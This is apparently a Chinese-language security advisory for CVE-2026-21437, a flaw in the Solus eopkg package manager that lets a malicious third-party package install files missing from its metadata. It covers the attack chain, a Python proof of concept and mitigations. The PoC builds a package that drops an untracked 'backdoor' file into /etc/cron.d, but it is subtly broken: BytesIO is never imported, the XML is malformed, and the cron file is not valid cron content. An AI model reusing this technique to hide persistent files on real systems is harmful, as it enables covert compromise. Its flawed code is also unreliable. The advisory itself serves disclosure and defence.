IPBUF安全漏洞报告
English
CVE-2026-21437 CVSS 5.5 中危

CVE-2026-21437: Solus eopkg包管理器未跟踪文件漏洞

披露日期: 2026-01-01

漏洞信息

漏洞编号
CVE-2026-21437
漏洞类型
文件隐藏/包完整性绕过
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Solus eopkg (Python3实现的Solus包管理器)

相关标签

CVE-2026-21437eopkgSolus Linux包管理器漏洞文件隐藏完整性绕过本地攻击Python供应链安全

漏洞概述

CVE-2026-21437是Solus Linux包管理器eopkg中的一个中危漏洞。在4.4.0之前的版本中,恶意包可以包含eopkg未跟踪的文件。这些未跟踪的文件在安装后不会显示在lseopkg及相关工具的输出中,导致攻击者可以在系统中隐藏恶意文件或后门程序。由于Solus仓库经过签名验证,仅使用官方仓库的用户不受影响。但攻击者通过恶意或被篡改的第三方源安装包时,可以利用此漏洞在系统特定位置写入任意文件,绕过包管理器的文件跟踪机制。该漏洞影响eopkg的完整性验证功能,可能被用于持久化攻击或隐藏恶意负载。

技术细节

eopkg是Solus Linux的官方包管理器,使用Python3实现。在版本4.4.0之前,eopkg在处理包安装时存在文件跟踪缺陷。当安装一个包时,eopkg仅记录其在元数据中声明的文件列表,但允许包中包含未在元数据中声明的额外文件。这些隐藏文件在安装后不会被lseopkg命令列出,也不会被包管理器正常管理。攻击者可以构造一个包含未跟踪文件的恶意包,利用eopkg的安装流程将这些文件写入系统目录(如/etc、/usr/bin等)。由于这些文件不归属于任何已安装包的跟踪列表,系统更新或卸载操作无法检测或清除它们。漏洞根因在于eopkg缺乏对包内容的完整性校验,未验证包中所有文件是否都已在元数据中声明。修复版本v4.4.0通过增强文件跟踪和完整性检查来解决此问题。

攻击链分析

STEP 1
1
攻击者创建恶意eopkg包,在包中包含未在package.xml元数据中声明的额外文件(如后门、rootkit等)
STEP 2
2
攻击者通过第三方源或社会工程学手段诱骗用户安装该恶意包
STEP 3
3
eopkg安装包时将未跟踪的文件写入系统目录(如/etc、/usr/bin等),但这些文件不会被记录到包管理数据库
STEP 4
4
lseopkg等工具无法列出这些隐藏文件,系统更新和卸载操作也无法检测或移除它们
STEP 5
5
恶意文件在系统中持久化存在,攻击者可通过预设的触发机制执行恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-21437 PoC - Malicious eopkg package with untracked files # This PoC demonstrates how a malicious package can include files not tracked by eopkg # Reference: https://github.com/getsolus/eopkg/commit/e7694323ed64e08b5b4b108fff273c64125cd39d import os import tarfile import xml.etree.ElementTree as ET def create_malicious_package(): """ Create a malicious eopkg with untracked files The package.xml will only declare some files, but actual archive contains additional hidden files """ # Package metadata - only declares legitimate files package_xml = '''<?xml version="1.0" encoding="utf-8"?> <Package name="fake-package" version="1.0.0" release="1"> <Summary>Legitimate package description</Summary> <Description>A seemingly harmless package</Description> <Maintainer>Attacker <[email protected]></Maintainer> <License>GPL-3.0</License> <IsA>package</IsA> <PartOf>system.base</PartOf> <RuntimeDependencies/> <Files> <File>/usr/bin/legitimate-binary"> <Type>executable</Type> </File> </Files> </Package>''' # Create package archive with additional untracked files with tarfile.open('malicious.eopkg', 'w') as tar: # Add package metadata info = tarfile.TarInfo(name='install/package.xml') info.size = len(package_xml.encode()) tar.addfile(info, file=BytesIO(package_xml.encode())) # Add legitimate file (tracked) legitimate_file = b'#!/bin/bash\necho "Legitimate tool"' info = tarfile.TarInfo(name='install/usr/bin/legitimate-binary') info.size = len(legitimate_file) tar.addfile(info, file=BytesIO(legitimate_file)) # Add untracked malicious file (NOT declared in package.xml) # This file will be installed but not tracked by eopkg malicious_file = b'#!/bin/bash\n# Hidden backdoor - not tracked by lseopkg\nrm -f /tmp/.hidden_payload && /bin/bash' info = tarfile.TarInfo(name='install/etc/cron.d/malicious-backdoor') info.size = len(malicious_file) tar.addfile(info, file=BytesIO(malicious_file)) print('[+] Malicious package created: malicious.eopkg') print('[+] The backdoor file will not appear in lseopkg listings') # Vulnerable eopkg versions: < 4.4.0 # Fixed version: 4.4.0+ # Reference: https://github.com/getsolus/eopkg/releases/tag/v4.4.0

影响范围

Solus eopkg < 4.4.0

防御指南

临时缓解措施
临时缓解措施:1) 仅使用Solus官方仓库,避免安装第三方来源的包;2) 在安装任何包之前验证其来源和签名;3) 升级到eopkg v4.4.0或更高版本以获得完整修复;4) 监控系统关键目录的可疑文件创建行为。由于该漏洞需要用户主动安装恶意包,保持良好的软件来源验证习惯可有效降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表